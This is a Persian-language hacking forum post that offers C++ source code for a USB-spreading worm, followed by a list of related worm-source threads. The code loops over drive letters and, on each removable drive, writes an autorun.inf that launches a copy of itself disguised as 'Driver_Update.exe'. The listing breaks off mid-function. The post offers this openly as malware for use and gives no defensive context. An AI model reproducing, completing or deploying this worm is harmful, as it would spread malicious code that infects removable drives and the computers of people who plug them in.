• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: USB Worm C++
حالت موضوعی
#1
سورس زیر که با سی پلاس پلاس نوشته شده است برای تکثر کرم یا همان worm شما در حافظه حانی مثل usb یا فلش دیسک ...
کد:
#include <windows.h>
#include <stdio.h>
#define IMSG "WORM"
using namespace std;

char me[1024];
HKEY hKey;
char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
                  "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
                  "W:","X:","Y:","Z:"};
DWORD WINAPI spreadUSB()
{
    while(1)
    {
        Sleep(120000);
        int i;
        for(i = 0;i < 24;i++)
        {
            if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
            {
                char hldPath[50];
                char usbFile[30] = "\\Driver_Update.exe";
                char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
                strcpy(hldPath,drives[i]); // copy the path of the drive to the array hldPath
                strcat(hldPath,"\\autorun.inf"); //copy \\autorun.inf to the end of the previous array
                
                /* Can be imagined the previous two lines creates the string
                 * f:\\autorun.inf
                */
                          
                FILE *fp = fopen("autorun.inf","w"); //sets (creates)fp to be the file autorun.inf and opens with write permissions.
                fprintf(fp,autoRun); // writes the string
                fclose(fp); //closes the file fp
                CopyFile("autorun.inf",hldPath,0); // copy's file autorun.inf to the path in the array hldPath, 0 << means it will overwrite if exists.
                remove("autorun.inf"); // removes created file (leaves replaced file)
                strcat(drives[i],usbFile); //concatinates the char drives[i] with the string usbFile, giving a result like e:\\Driver_Update.exe
                CopyFile(me,drives[i],0); //Copy this whole file to the usb drive. Using the contatination above as the directory
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  Source Code IRC-Worm.Win32.Desire Delphi Amin_Mansouri 0 4,581 03-30-2012، 01:10 PM
آخرین ارسال: Amin_Mansouri
  Source Code LOA-worm Delphi Amin_Mansouri 0 6,207 03-30-2012، 01:05 PM
آخرین ارسال: Amin_Mansouri
  Source Code IRC-Worm.Hausex Delphi Amin_Mansouri 0 4,338 03-30-2012، 01:00 PM
آخرین ارسال: Amin_Mansouri
  (USB-Worm for UNIX/LINUX) Amin_Mansouri 0 3,373 11-09-2011، 03:17 PM
آخرین ارسال: Amin_Mansouri
  C++ worm example Amin_Mansouri 0 4,002 09-28-2011، 06:15 PM
آخرین ارسال: Amin_Mansouri
  [VB.NET]DC Worm Amin_Mansouri 0 5,408 09-26-2011، 09:41 AM
آخرین ارسال: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 4,166 08-30-2011، 11:54 AM
آخرین ارسال: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 8,743 06-25-2011، 10:55 AM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 2 مهمان